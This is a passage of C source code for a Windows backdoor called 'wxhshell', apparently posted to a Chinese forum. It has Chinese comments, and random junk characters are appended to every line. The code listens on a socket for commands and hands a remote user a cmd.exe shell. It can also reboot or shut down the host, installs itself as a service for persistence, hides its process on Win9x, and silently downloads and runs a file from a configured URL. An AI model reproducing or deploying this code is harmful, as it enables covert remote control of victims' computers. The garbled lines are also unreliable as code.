  // 帮助 AP=h*1udk  
  case '?': { =P]Z"Ok  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *O :JECKU  
    break; .;]WcC<3  
  } Lw}-oE !U  
  // 安装 T82 `-bZ  
  case 'i': { J, -.5  
    if(Install()) c,xdkiy3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jt=- >  
    else `qc"JB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~t)cbF(UO  
    break; ]>1Mq,!  
    } +6#$6hG  
  // 卸载 Xg C^-A w  
  case 'r': { f6%k;R.Wz  
    if(Uninstall()) 9j:]<?D,A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kk /#&b2  
    else XM`GK>*aC(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?$|tT\SFV  
    break; 0f6o0@  
    } d}\]!x3t  
  // 显示 wxhshell 所在路径 8Yh'/,o=L#  
  case 'p': { [)Nt;|U  
    char svExeFile[MAX_PATH]; J<0{3pZY  
    strcpy(svExeFile,"\n\r"); ]E-/}Ysz  
      strcat(svExeFile,ExeFile); ^OKm (  
        send(wsh,svExeFile,strlen(svExeFile),0); f~NS{gL*  
    break; J8emz8J  
    } KL'1)G"OH  
  // 重启 o8R_ Ojh  
  case 'b': { N4vcd=uG#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EB}B75)x  
    if(Boot(REBOOT)) a;xeHbE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZF 8InyF  
    else { ;k!.ey $S  
    closesocket(wsh); Kk8wlC  
    ExitThread(0); 8"j$=T6;W  
    } ~#E&E%sJ  
    break; q[\3,Y  
    } ,^([aK  
  // 关机 pG#tMec  
  case 'd': { 98Vv K?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p(n0(}eVC'  
    if(Boot(SHUTDOWN)) f)*?Ji|5F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vwT1bw.  
    else { J@2jx4   
    closesocket(wsh);  Zi~.  
    ExitThread(0); ESCN/ocV  
    } [c3!xHt5O  
    break; 3Y)&[aj  
    } 8g0 #WV  
  // 获取shell mD9Iao%4~  
  case 's': { |Q /LC0?  
    CmdShell(wsh); IU8zidn&  
    closesocket(wsh); cb^IJA9}  
    ExitThread(0); $VmV>NZ  
    break; e3ZRL91c  
  } 6CyByj&  
  // 退出 3N_KNW  
  case 'x': { ';3>rv_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M2Nh3ijr  
    CloseIt(wsh); f SkC>mWv  
    break; h"1}j'2>@  
    } Fqeqn[,  
  // 离开 @@D/&}#F  
  case 'q': { 9 Zos;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U2A-ub>7  
    closesocket(wsh); ec!e  
    WSACleanup(); PB^rniYh  
    exit(1); 7KlL%\  
    break; 8'Q+%{?1t  
        } XZOBK^,5^B  
  } =78y* `L  
  } .4a|^ vT  
jA,y.(mR  
  // 提示信息 Z?eTjkNS#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NOTG|\{  
} -U2Su|:\N8  
  } 5S4Nx>  
X?haHM#]  
  return; /RB%m8@;  
} 7**zb"#y  
j0L%jz  
// shell模块句柄 &b@_ah+f  
int CmdShell(SOCKET sock) K>'4^W5d,  
{ xQZOGq  
STARTUPINFO si; TIp\-  
ZeroMemory(&si,sizeof(si)); .u A O.<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %`$bQU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >J9Qr#=H2  
PROCESS_INFORMATION ProcessInfo; l iY/BkpH  
char cmdline[]="cmd"; @g[ijs\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ov(k:"N  
  return 0; ]4t1dVD  
} Xn"#Zy_  
#b d=G(o~6  
// 自身启动模式 1jx?zvE,  
int StartFromService(void) OFo hyy(  
{ $~8gh>`]  
typedef struct &5HI   
{ yFAUD ro  
  DWORD ExitStatus; QO$18MBcc  
  DWORD PebBaseAddress; <@M5 C -hH  
  DWORD AffinityMask; ^h_rE |c  
  DWORD BasePriority; J)g +I  
  ULONG UniqueProcessId; /[Nkk)8-  
  ULONG InheritedFromUniqueProcessId; "I=Lbh-`  
}   PROCESS_BASIC_INFORMATION; -d?<t}a  
):Fg {7b]n  
PROCNTQSIP NtQueryInformationProcess; Wgf f+7k  
9vi+[3s/=;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }D1? Z7p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HxR5&o  
|$tF{\  
  HANDLE             hProcess; \/dOv [  
  PROCESS_BASIC_INFORMATION pbi; p_xJ KQS  
%5L~&W}^"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sB0]lj-[Un  
  if(NULL == hInst ) return 0; fbI5!i#lz  
iw.F8[})  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); - .) f~#8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <e Y2}Ml  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~I")-2"B  
h/5V~ :)  
  if (!NtQueryInformationProcess) return 0; T pCXe\W  
rE "FN~9P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <DMm [V{  
  if(!hProcess) return 0; ]Y,V)41gCE  
qW3XA$g|j'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +^J&x>5  
`_DA!  
  CloseHandle(hProcess); zq5N@d F  
6oWFjeZ0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |s#,^SJ0  
if(hProcess==NULL) return 0; cm!vuoB~~  
iJZvVs',  
HMODULE hMod; *k\ ;G?  
char procName[255]; L]YJ#5  
unsigned long cbNeeded; E\2f"s  
e<DcuF<ZS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ybf,pDY#f  
pvWNiW:~k  
  CloseHandle(hProcess); PYCG#U  
l(MjLXw5  
if(strstr(procName,"services")) return 1; // 以服务启动 W^W.* ?e`  
D!,'}G #  
  return 0; // 注册表启动 0}Kyj"-3  
} Nt tu)wr  
v%#@.D!)  
// 主模块 )"Ujx`]4r  
int StartWxhshell(LPSTR lpCmdLine) f !7fz~&Sh  
{ ./ tZ*sP:  
  SOCKET wsl; JrxQ.,*i  
BOOL val=TRUE; 1)u,%  
  int port=0; r" |do2s  
  struct sockaddr_in door; ]'<}kJtN.  
iqF|IVPoi  
  if(wscfg.ws_autoins) Install(); $U&p&pgH=W  
.' v$PEy  
port=atoi(lpCmdLine); WM9({BZ  
f4`Nws-dP  
if(port<=0) port=wscfg.ws_port; 4<EC50@.  
Ga^:y=m  
  WSADATA data; "6~+ -_:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A{3nz DLI  
K6F05h 5S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t[HsqnP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pgUjje>#  
  door.sin_family = AF_INET; *>GRU8_}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %U[H`E  
  door.sin_port = htons(port); B<|Vm.D  
n-?zH:]GG{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B0g?!.#23  
closesocket(wsl); 2Z9ck|L>  
return 1; U[pR `u  
} >kuu\  
Vo%ikR #  
  if(listen(wsl,2) == INVALID_SOCKET) { juWbd|ad"  
closesocket(wsl); -lfbn =3  
return 1; {rF9[S"h  
} }_}LaEYAo  
  Wxhshell(wsl); c ? Zi/7  
  WSACleanup(); DEPsud;  
(nkiuCO  
return 0; N7q6pBA"E  
oB<!U%BN  
} qus%?B{b}  
ubKp P%Z  
// 以NT服务方式启动 'v(b^x<ZS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e=!sMWx6  
{ 6/0bis H  
DWORD   status = 0; =FAIbM>u  
  DWORD   specificError = 0xfffffff; Yru,YA   
Tj2pEOu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ %1u3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #/t+h#jG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {XXnMO4uR;  
  serviceStatus.dwWin32ExitCode     = 0; bdBLfWe  
  serviceStatus.dwServiceSpecificExitCode = 0; ;e2D}  
  serviceStatus.dwCheckPoint       = 0; .8|"@  
  serviceStatus.dwWaitHint       = 0; y :QnK0  
i"^ y y+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7$Cv=8  
  if (hServiceStatusHandle==0) return; j3R}]F'C*  
f?QP(+M5.  
status = GetLastError(); Tkj F /zv  
  if (status!=NO_ERROR) Nc^:v/(P  
{ }+:X=@Z@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7Zft]C?|@  
    serviceStatus.dwCheckPoint       = 0; @6y)wA9Yx  
    serviceStatus.dwWaitHint       = 0; e\ZV^h}TQ  
    serviceStatus.dwWin32ExitCode     = status; gP!k[E ,Q8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gfep m$*%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bz`rSp8h  
    return; H=XdgOui  
  } eV9,G8  
 bIuOB|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b-J6{=k^  
  serviceStatus.dwCheckPoint       = 0; [t?:CgI)E  
  serviceStatus.dwWaitHint       = 0; Sq`Zuu9t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .;dI&0Z  
} /i"1e:cK  
OP``+z>  
// 处理NT服务事件,比如:启动、停止 Pp;OkI``[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MdnapxuS  
{ cVaGgP}\  
switch(fdwControl) 0c&DSL}6  
{ Gl4f:`  
case SERVICE_CONTROL_STOP: T|--ZRYn  
  serviceStatus.dwWin32ExitCode = 0; i@=(Y~tD`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xk:_aJ  
  serviceStatus.dwCheckPoint   = 0; a!&<jM  
  serviceStatus.dwWaitHint     = 0; DU@SXb  
  { ~qE:Nz0@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !#4b#l(e6  
  } 1#XZVp;M  
  return; CSzu $Hnq  
case SERVICE_CONTROL_PAUSE: -c[fg+L9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2FM}" g<8  
  break; cmp@Ow"c  
case SERVICE_CONTROL_CONTINUE: Vzh\ 1cF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g]?QV2bX6  
  break;  cj|Urt  
case SERVICE_CONTROL_INTERROGATE: h\|T(597.  
  break; NC"X{$o2  
}; ,H] S-uK~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;(Z9.  
} O}z-g&e.U  
gZL,xX  
// 标准应用程序主函数 F{eI[A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VP }To  
{ 6^,;^   
FD8d-G  
// 获取操作系统版本 gS!zaD7Nr  
OsIsNt=GetOsVer(); QRdh2YH`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P\$%p-G  
\ Ju7.3.  
  // 从命令行安装 PSU}fo  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bf$` Hf6  
wd2z=^S~  
  // 下载执行文件 B*}:YV  
if(wscfg.ws_downexe) { 2GRv%:rZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v+DXs!O{  
  WinExec(wscfg.ws_filenam,SW_HIDE); fy>~ GFk(  
} Yo}QW;,g  
CH0Nkf  
if(!OsIsNt) { j HEt   
// 如果时win9x,隐藏进程并且设置为注册表启动 m :2A[H+  
HideProc(); p|w0 i[hc  
StartWxhshell(lpCmdLine); oUL4l=dj.  
} rotu#?B  
else CE|rn8MB  
  if(StartFromService()) Lr*\LP6jx3  
  // 以服务方式启动 [$`%ve  
  StartServiceCtrlDispatcher(DispatchTable); .|KBQMI  
else /Uni6O)oc  
  // 普通方式启动 OyIIJ!(  
  StartWxhshell(lpCmdLine); dlioaYc  
d*LW32B@  
return 0; "6i3'jc`  
}
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只看该作者 1 发表于: 2006-10-10
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